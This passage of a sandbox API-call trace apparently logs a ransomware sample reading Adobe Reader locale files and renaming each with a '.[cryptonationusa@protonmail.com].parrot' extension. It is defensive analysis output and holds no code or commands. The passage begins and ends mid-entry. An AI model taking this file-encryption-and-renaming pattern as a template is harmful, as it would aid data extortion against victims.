ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.FRA", cAlternateFileName="ACCESS~1.FRA")) returned 1 [0255.069] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.069] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.070] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.071] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xb600, lpOverlapped=0x0) returned 1 [0255.074] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.075] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\accessibility.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\accessibility.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\accessibility.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\accessibility.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.079] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0255.079] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.079] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0255.081] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.081] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.082] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.082] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6e800, lpOverlapped=0x0) returned 1 [0255.099] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.113] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Acroform.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\acroform.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Acroform.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\acroform.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0255.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0255.201] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.201] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.202] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.203] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0255.203] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.204] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\AdobeCollabSync.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\adobecollabsync.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\AdobeCollabSync.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\adobecollabsync.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0255.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0255.211] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.211] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.213] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.213] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7f600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7f600, lpOverlapped=0x0) returned 1 [0255.234] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.268] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Annots.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\annots.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Annots.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\annots.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3338a08 | out: hHeap=0x5b0000) returned 1 [0255.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0255.277] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.277] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.279] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.279] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3800, lpOverlapped=0x0) returned 1 [0255.280] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.282] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\BRdlang32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\brdlang32.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\BRdlang32.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\brdlang32.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0255.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.285] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0255.288] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.288] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.289] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.289] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x20a00, lpOverlapped=0x0) returned 1 [0255.296] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.299] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Checkers.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\checkers.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Checkers.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\checkers.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0255.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0255.318] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.318] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.500] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.503] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x21c00, lpOverlapped=0x0) returned 1 [0255.533] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.536] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\DigSig.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\digsig.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\DigSig.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\digsig.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3338a08 | out: hHeap=0x5b0000) returned 1 [0255.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0255.545] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.545] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.557] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.557] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4e00, lpOverlapped=0x0) returned 1 [0255.559] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.561] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\DVA.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\dva.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\DVA.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\dva.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3338a08 | out: hHeap=0x5b0000) returned 1 [0255.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0255.568] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.568] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.570] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.570] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1c00, lpOverlapped=0x0) returned 1 [0255.609] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.610] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\eBook.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ebook.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\eBook.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ebook.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3338a08 | out: hHeap=0x5b0000) returned 1 [0255.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0255.617] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.617] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.632] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.633] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa800, lpOverlapped=0x0) returned 1 [0255.652] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.653] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\EScript.fra" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\escript.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\EScript.fra.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\escript.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0255.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0255.659] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.659] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.660] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.660] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0255.661] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.661] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\IA32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ia32.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\IA32.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ia32.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3338a08 | out: hHeap=0x5b0000) returned 1 [0255.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0255.667] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.667] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.724] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.725] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x14c00, lpOverlapped=0x0) returned 1 [0255.737] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.739] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\makeaccessible.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\makeaccessible.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\makeaccessible.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\makeaccessible.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0255.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0255.746] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.746] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.748] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.748] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x14400, lpOverlapped=0x0) returned 1 [0255.749] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.750] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Multimedia.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\multimedia.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Multimedia.FRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\multimedia.fra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0255.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331f5e0 | out: hHeap=0x5b0000) returned 1 [0255.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0255.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0255.759] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0255.759] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0255.771] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.771] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2e00, lpOverlapped=0x0) returned 1 [0255.772] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.773] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 